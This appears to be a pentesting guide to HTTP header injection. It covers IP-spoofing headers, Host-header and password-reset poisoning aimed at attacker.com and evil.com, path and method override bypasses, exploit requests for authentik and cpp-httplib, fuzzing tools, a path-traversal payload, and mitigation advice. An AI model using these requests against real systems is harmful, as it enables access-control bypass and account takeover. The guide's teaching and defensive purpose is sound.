Header injection is a web security vulnerability that occurs when an attacker can manipulate HTTP headers to alter server behavior, bypass security controls, or hijack user sessions. This comprehensive guide provides a step-by-step methodology for identifying, testing, and exploiting header injection vulnerabilities using real-world examples and practical techniques.
- Understanding Header Injection Vulnerabilities
- Prerequisites and Setup
- Methodology Overview
- Phase 1: Reconnaissance and Discovery
- Phase 2: Testing with Burp Suite
- Phase 3: Exploitation Techniques
- Real-World Vulnerability Examples
- Automated Tools and Wordlists
- Detection and Mitigation
- Checklist for Pentesters
Header injection occurs when web applications improperly trust or fail to validate HTTP headers supplied by clients. Attackers exploit this trust to manipulate application behavior, including:
- Authentication bypass – Gaining access without valid credentials
- IP spoofing – Impersonating trusted IP addresses (e.g., 127.0.0.1)
- Cache poisoning – Injecting malicious responses into caches
- Password reset poisoning – Hijacking password reset links
- Log injection/poisoning – Manipulating log files
- Request smuggling – Confusing frontend and backend servers
| Tool | Purpose | Download Location |
|---|---|---|
| Burp Suite Professional/Community | Intercepting proxy, testing framework | PortSwigger website |
| Firefox/Chrome with proxy configuration | Target browsing | Official browser sites |
| Intruder payloads | Automated header fuzzing | Built into Burp Suite |
| byp4xx | Automated 403 bypass testing | GitHub (lobuhi/byp4xx) |
| headi | Header injection automation | GitHub (mlcsec/headi) |
Before beginning any testing, configure Burp Suite as your intercepting proxy:
- Open Burp Suite and navigate to Proxy > Options
- Ensure the proxy listener is active on 127.0.0.1:8080
- Configure your browser to use localhost:8080 as an HTTP proxy
- Install Burp's CA certificate in your browser for HTTPS interception
- Navigate to Proxy > Intercept and ensure interception is turned ON
Reference: Burp Suite provides Repeater, Intruder, and Decoder modules essential for header manipulation testing .
The header injection testing methodology follows five distinct phases:
Phase 1: Reconnaissance → Identify endpoints, observe normal behavior
Phase 2: Discovery → Test which headers the application processes
Phase 3: Fuzzing → Inject payloads using Burp Intruder
Phase 4: Exploitation → Chain vulnerabilities for impact
Phase 5: Reporting → Document findings with reproduction steps
Identify all endpoints and functionality that might rely on headers for security decisions:
- Admin panels (/admin, /administrator, /console)
- Authentication endpoints (/login, /reset-password)
- API endpoints (/api/v1/, /graphql)
- Debug interfaces (/debug, /_status)
Intercept requests using Burp Proxy and document:
- What headers are normally sent by your browser
- Response status codes for protected resources (403, 401, 302)
- Any custom or unusual headers in requests/responses
Test whether the application processes specific headers by sending modified requests through Burp Repeater:
- Right-click any intercepted request and select "Send to Repeater"
- Modify headers systematically and observe response changes
- Note any headers that alter application behavior
Example observation: If adding X-Forwarded-For: 127.0.0.1 changes a 403 response to 200, the application trusts this header for IP-based access control.
Burp Suite is the primary tool for header injection testing. The following sections detail specific techniques using different Burp modules.
Many applications rely on headers to determine client IP addresses. Test each of the following headers by injecting 127.0.0.1 or localhost:
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
True-Client-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
Client-IP: 127.0.0.1
Forwarded: 127.0.0.1
Forwarded-For-Ip: 127.0.0.1
X-Forwarded-By: 127.0.0.1
X-Forwarded-Server: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-HTTP-Host-Override: 127.0.0.1
X-Forwared-Host: 127.0.0.1
Testing procedure using Burp Repeater :
- Intercept a request to a protected resource that returns 403 Forbidden
- Right-click and select "Send to Repeater"
- In Repeater, add each header one at a time:
X-Forwarded-For: 127.0.0.1 - Click "Go" and examine the response
- If the status code changes to 200, the bypass is successful
- Document which header(s) worked
Example request:
GET /admin HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0
X-Forwarded-For: 127.0.0.1The Host header tells the server which virtual host should handle the request. Injection can lead to cache poisoning and password reset hijacking.
Testing steps with Burp Repeater :
- Intercept any request and send to Repeater
- Modify the Host header to a malicious domain:
Host: evil.com - Send the request and examine the response
- Look for:
- The malicious domain reflected in response content
- Redirects pointing to
evil.com - Links generated using
evil.com - Password reset emails containing
evil.comURLs
Advanced Host header testing:
# Test with port variations
Host: target.com:8080
# Test with duplicate headers
Host: legit.com
Stuff: stuff
Host: evil.com
# Test with absolute URL in request line
GET https://vulnerable-website.com/ HTTP/1.1
Host: evil-website.com
# Test with line wrapping
GET /index.php HTTP/1.1
Host: vulnerable-website.com
Host: evil-website.comSome frameworks support headers that override the request path. This can bypass frontend access controls.
Critical headers to test:
X-Original-URL: /admin
X-Rewrite-URL: /admin
X-Override-URL: /admin
Referer: /admin
Testing methodology :
- Find a request that returns 403 for
/admin - Change the request line to an accessible path like
/or/home - Add a path override header pointing to the restricted path
GET / HTTP/1.1
Host: target.com
X-Original-URL: /adminWhy this works: The frontend proxy validates the visible path (/ which is accessible), but the backend processes the overridden path (/admin) and serves the restricted content without revalidating authorization.
For comprehensive testing, use Burp Intruder to test multiple headers and payloads automatically.
Setup procedure :
- Send a request to Intruder (right-click > Send to Intruder)
- Navigate to the Positions tab
- Clear all default payload positions by clicking "Clear §"
- Highlight the header name you want to fuzz and click "Add §"
- Alternatively, highlight the header value and click "Add §"
Example configuration for header name fuzzing:
Position: X-Forwarded-For: 127.0.0.1
^^^^^^^^^^^^^^^^
(Payload position)
Payload configuration:
- Go to the Payloads tab
- Select Payload type: "Simple list"
- Load a header wordlist (see Section 8 for sources)
- Configure Grep-Match options to detect successful bypasses (e.g., "Welcome", "admin", 200 OK)
Example Intruder request template:
GET /admin HTTP/1.1
Host: target.com
§X-Forwarded-For§: 127.0.0.1Some applications support method override headers to tunnel methods through restrictive firewalls.
Headers to test:
X-HTTP-Method-Override: PUT
X-HTTP-Method-Override: DELETE
X-Method-Override: PATCH
X-HTTP-Method: DELETE
Testing procedure:
- Send a normal GET request to an endpoint
- Add a method override header pointing to a restricted method
- Observe if the server executes the overridden method
GET /api/user/123 HTTP/1.1
Host: target.com
X-HTTP-Method-Override: DELETEChanging the HTTP version can cause legacy systems to behave differently.
Versions to test:
- HTTP/1.0
- HTTP/0.9
- HTTP/2 (if downgrade occurs)
Example:
GET /admin HTTP/0.9
Host: evil.comHTTP/0.9 does not require a Host header. Some servers process HTTP/0.9 requests differently, potentially bypassing virtual host routing.
Vulnerability summary: In authentik versions prior to 2024.6.5 and 2024.8.3, adding an unparsable IP address to the X-Forwarded-For header causes the password authentication stage to be skipped entirely .
Discovery context: This vulnerability was discovered during a penetration test when a tester accidentally mistyped a password while testing X-Forwarded-For injection. Despite the wrong password, the login succeeded .
Complete exploitation steps:
-
Navigate to the authentication flow endpoint (e.g.,
/if/flow/default-authentication-flow/) -
Enter a valid username or email address (e.g.,
admin@example.com) -
Enter any random text in the password field
-
Intercept the login request using Burp Proxy
-
Add the following header to the request:
X-Forwarded-For: a(Note: any unparsable IP address works - "a", "invalid", "999.999.999.999")
-
Forward the request and observe successful login
Actual intercepted request:
POST /api/v3/flows/executor/default-authentication-flow/ HTTP/1.1
Host: authentik.example.com
X-Forwarded-For: a
Content-Type: application/json
{"identifier": "admin@example.com", "password": "anything"}Why it works: The header validation function raises an exception when parsing the invalid IP address. The policy binding mechanism treats this exception as a failure condition, but due to misconfigured failure handling, the password stage gets skipped entirely. The application proceeds as if authentication succeeded .
Impact: Complete account takeover without knowing any passwords. CVSS Score: 9.0 (Critical) .
Mitigation: Upgrade to authentik 2024.6.5 or 2024.8.3, and ensure reverse proxies properly overwrite X-Forwarded-For headers from untrusted sources.
Vulnerability summary: In cpp-httplib versions prior to 0.27.0, attacker-supplied headers named REMOTE_ADDR, REMOTE_PORT, LOCAL_ADDR, and LOCAL_PORT are processed before server-generated metadata with the same names. The Request::get_header_value method returns the first instance of a header key, giving attacker-controlled data precedence over legitimate server data .
Complete exploitation steps:
-
Identify a target using cpp-httplib version < 0.27.0
-
Intercept any request to the application
-
Add attacker-controlled versions of internal headers:
GET /admin HTTP/1.1
Host: target.com
REMOTE_ADDR: 127.0.0.1
REMOTE_PORT: 443
LOCAL_ADDR: 10.0.0.1
LOCAL_PORT: 8080-
The server's
read_headers()function parses these headers into the request header multimap viaheaders.emplace() -
The server later appends its own internal metadata using the same header names in
Server::process_requestwithout erasing duplicates -
Any downstream code using
Request::get_header_value(which returns the first entry for a header key) receives the attacker-controlled values
Affected code locations:
cpp-httplib/httplib.h-read_headers(),Server::process_request()cpp-httplib/httplib.h-Request::get_header_value(),get_header_value_u64()cpp-httplib/docker/main.cc-get_client_ip(),nginx_access_logger(),nginx_error_logger()
Impact: IP spoofing, log poisoning, authorization bypass without authentication. CVSS Score: 10.0 (Critical) .
Mitigation: Upgrade to cpp-httplib version 0.27.0 or later.
Vulnerability summary: VigyBag Open Source Online Shop (commit 3f0e21b) uses the Host header value when generating password reset links without validation, allowing attackers to redirect victims to malicious sites .
Complete exploitation steps:
-
Locate the password reset functionality
-
Intercept the password reset request using Burp Proxy
-
Modify the Host header to point to an attacker-controlled server:
POST /password-reset HTTP/1.1
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
email=victim@example.com-
Forward the request to trigger the password reset email
-
The application generates a reset link using the attacker-supplied Host header:
https://attacker.com/reset?token=abc123def456 -
The victim receives the email with the poisoned link
-
When the victim clicks the link, the token is sent to the attacker's server
-
The attacker uses the token to reset the victim's password
Impact: Account takeover via password reset token theft. Requires user interaction (victim must click the link). CVSS Score: 6.1 (Medium) .
Detection indicators:
- Password reset emails containing unexpected domain names
- Outbound requests from the application to external domains
- Unusual Host header values in access logs
When encountering 403 Forbidden responses, systematically test the following bypass techniques :
URL encoding bypasses:
/admin → 403
/admin/ → 200
/admin// → 200
//admin// → 200
/admin/* → 200
/admin/. → 200
/./admin/./ → 200
/admin..;/ → 200
/%2f/admin → 200
/admin%20/ → 200
/admin%09/ → 200
Method override bypasses:
GET /admin HTTP/1.1 → 403
POST /admin HTTP/1.1 → 200
PUT /admin HTTP/1.1 → 200Protocol version bypasses:
GET /admin HTTP/1.1 → 403
GET /admin HTTP/1.0 → 200
GET /admin HTTP/0.9 → 200Header-based bypasses (test all IP spoofing headers simultaneously):
GET /admin HTTP/1.1
Host: target.com
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
True-Client-IP: 127.0.0.1In 2019, Shopify had a vulnerability where adding X-Forwarded-Host: admin.shopify.com bypassed host-based access controls, allowing attackers to access internal admin interfaces.
Exploit request:
GET /admin HTTP/1.1
Host: myshopify.com
X-Forwarded-Host: admin.shopify.comResearchers discovered that Tesla's marketing portal allowed access to internal endpoints by adding X-Forwarded-For: 127.0.0.1 to requests.
Exploit request:
GET /admin/api/users HTTP/1.1
Host: marketing.tesla.com
X-Forwarded-For: 127.0.0.1Attackers exploited X-Forwarded-Host header with closed ports to poison redirect responses cached by Fastly's CDN.
Attack request:
GET / HTTP/1.1
Host: www.example.com:10000Resulting cached response:
HTTP/1.1 302 Found
Location: https://www.example.com:10000/en
X-Cache: HITSubsequent victims were redirected to a closed port, causing denial of service.
GitLab had a Host header injection vulnerability in password reset functionality that allowed attackers to capture reset tokens.
Exploit request:
POST /users/password HTTP/1.1
Host: attacker.com
Content-Type: application/x-www-form-urlencoded
user[email]=victim@example.combyp4xx - Automated 403 bypass tool
# Installation
git clone https://github.com/lobuhi/byp4xx
cd byp4xx
# Usage
./byp4xx.sh https://target.com/admin
./byp4xx.sh https://target.com/admin -H "X-Forwarded-For: 127.0.0.1"headi - Header injection automation
# Installation
go install github.com/mlcsec/headi@latest
# Usage
headi -url http://target.com/admin
headi -url http://target.com/admin -headers x-forwarded-for,true-client-ip
headi -url http://target.com/admin -method POST -data "param=value"skip403 - Smart bypass testing
# Installation
git clone https://github.com/geisonn/skip403
cd skip403
pip install -r requirements.txt
# Usage
python3 skip403.py -u https://target.com/admin
python3 skip403.py -u https://target.com/admin -t 20 -H "Custom-Header: value"Header names for fuzzing:
- SecLists:
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/BurpSuite-ParamMiner/lowercase-headers - SecLists HTTP request headers:
https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/web/http-request-headers
IP address payloads:
127.0.0.1
localhost
0:0:0:0:0:0:0:1
::1
10.0.0.1
192.168.1.1
172.16.0.1
Host header payloads:
evil.com
target.com@evil.com
target.com#evil.com
target.com.evil.com
evil.com/target.com
| Extension | Purpose |
|---|---|
| Headers Analyzer | Detects missing security headers |
| Param Miner | Discovers hidden headers and parameters |
| Turbo Intruder | High-speed header fuzzing |
| Logger++ | Advanced request/response logging |
Manual detection indicators:
- Application behavior changes when adding unusual headers
- Responses reflect header values (e.g., "Your IP: 127.0.0.1")
- Access control decisions based on client-supplied headers
- Password reset emails containing unexpected domains
- Cached responses that shouldn't exist
Automated detection with Burp Suite:
- Configure Burp Scanner to actively scan for header injection
- Use Intruder with header wordlists and monitor for:
- Status code changes (403→200, 401→200)
- Response length variations
- Reflected header values in responses
- Redirects to unexpected domains
Detection using custom scripts:
import requests
headers_to_test = [
"X-Forwarded-For",
"X-Real-IP",
"X-Client-IP",
"X-Original-URL"
]
url = "https://target.com/admin"
payloads = ["127.0.0.1", "localhost", "../../../etc/passwd"]
for header in headers_to_test:
for payload in payloads:
headers = {header: payload}
response = requests.get(url, headers=headers)
if response.status_code == 200:
print(f"Bypass possible with {header}: {payload}")For developers:
-
Never trust client-supplied headers for security decisions. Always validate and sanitize.
-
Configure reverse proxies to overwrite forwarded headers:
# Nginx configuration proxy_set_header X-Forwarded-For $remote_addr; proxy_set_header X-Real-IP $remote_addr;
-
Implement strict header validation:
# Python example import ipaddress def validate_ip(ip_string): try: ipaddress.ip_address(ip_string) return True except ValueError: return False
-
Use allowlists for Host header values:
ALLOWED_HOSTS = ['target.com', 'www.target.com', 'api.target.com'] if request.headers.get('Host') not in ALLOWED_HOSTS: return HttpResponseBadRequest("Invalid Host header")
-
Enforce access control at the backend, not at reverse proxies or load balancers.
-
Remove unsupported headers during HTTP/2 to HTTP/1.1 downgrades.
-
Update affected libraries when CVEs are disclosed (cpp-httplib, authentik, etc.).
For security teams:
-
Monitor logs for:
- Anomalous header values
- Duplicate headers
- Malformed IP addresses (e.g., "a" instead of "127.0.0.1")
- Unusual Host header domains
-
Implement Web Application Firewall (WAF) rules to detect header injection attempts:
# Example ModSecurity rule SecRule REQUEST_HEADERS "X-Forwarded-For: .*[^0-9\.].*" "id:1001,deny,msg:'Invalid X-Forwarded-For header'" -
Conduct regular penetration tests focusing on header manipulation.
- Configure Burp Suite proxy
- Install CA certificate in browser
- Set up target scope in Burp
- Gather header wordlists
- Prepare payload lists
Phase 1: Discovery
- Map all application endpoints
- Identify protected resources (403/401 responses)
- Observe normal header behavior
- Document custom headers
Phase 2: IP Spoofing Tests
- Test X-Forwarded-For with 127.0.0.1
- Test X-Real-IP with 127.0.0.1
- Test X-Client-IP with 127.0.0.1
- Test X-Remote-IP with 127.0.0.1
- Test True-Client-IP with 127.0.0.1
- Test Client-IP with 127.0.0.1
- Test Forwarded header
- Test X-Originating-IP
Phase 3: Host Header Tests
- Test Host header with evil.com
- Test duplicate Host headers
- Test Host header with port variations
- Test absolute URL in request line
- Test line wrapping techniques
Phase 4: Path Override Tests
- Test X-Original-URL
- Test X-Rewrite-URL
- Test X-Override-URL
- Test Referer header
Phase 5: Method Override Tests
- Test X-HTTP-Method-Override
- Test X-Method-Override
- Test all HTTP verbs (PUT, DELETE, PATCH)
Phase 6: Protocol Tests
- Test HTTP/1.0
- Test HTTP/0.9
- Test HTTP/2 downgrade scenarios
Phase 7: Automated Testing
- Run byp4xx against all protected endpoints
- Run headi with custom header lists
- Configure Intruder with header wordlists
- Analyze Intruder results for status code changes
Phase 8: Exploitation
- Attempt authentication bypass (CVE-2024-47070 style)
- Attempt password reset poisoning
- Attempt cache poisoning
- Document successful exploitation paths
- Include exact request/response pairs
- Specify which headers were effective
- Document the impact (authentication bypass, data access, etc.)
- Provide CVSS score
- Include remediation recommendations
- Attach proof-of-concept code if applicable
Header injection vulnerabilities remain a significant security risk due to the widespread trust placed in client-supplied headers. The methodology outlined in this guide provides a systematic approach to identifying and exploiting these vulnerabilities using Burp Suite and other tools.
Key takeaways:
-
Always test IP spoofing headers - Many applications trust X-Forwarded-For and similar headers for access control decisions.
-
Host header injection can lead to critical vulnerabilities - Password reset poisoning and cache poisoning are often overlooked but high-impact issues.
-
Path override headers can bypass frontend controls - X-Original-URL and X-Rewrite-URL are frequently supported but poorly validated.
-
Real-world CVEs demonstrate the impact - Critical vulnerabilities like CVE-2024-47070 (authentik) and CVE-2025-66570 (cpp-httplib) show header injection can lead to complete authentication bypass.
-
Automation is essential - Use Burp Intruder, byp4xx, and headi to test hundreds of header permutations efficiently.
-
Defense requires multiple layers - Validate headers, configure proxies to overwrite untrusted values, and enforce access controls at the backend.
By following this methodology, penetration testers and security researchers can systematically identify header injection vulnerabilities and help organizations protect against these critical security flaws.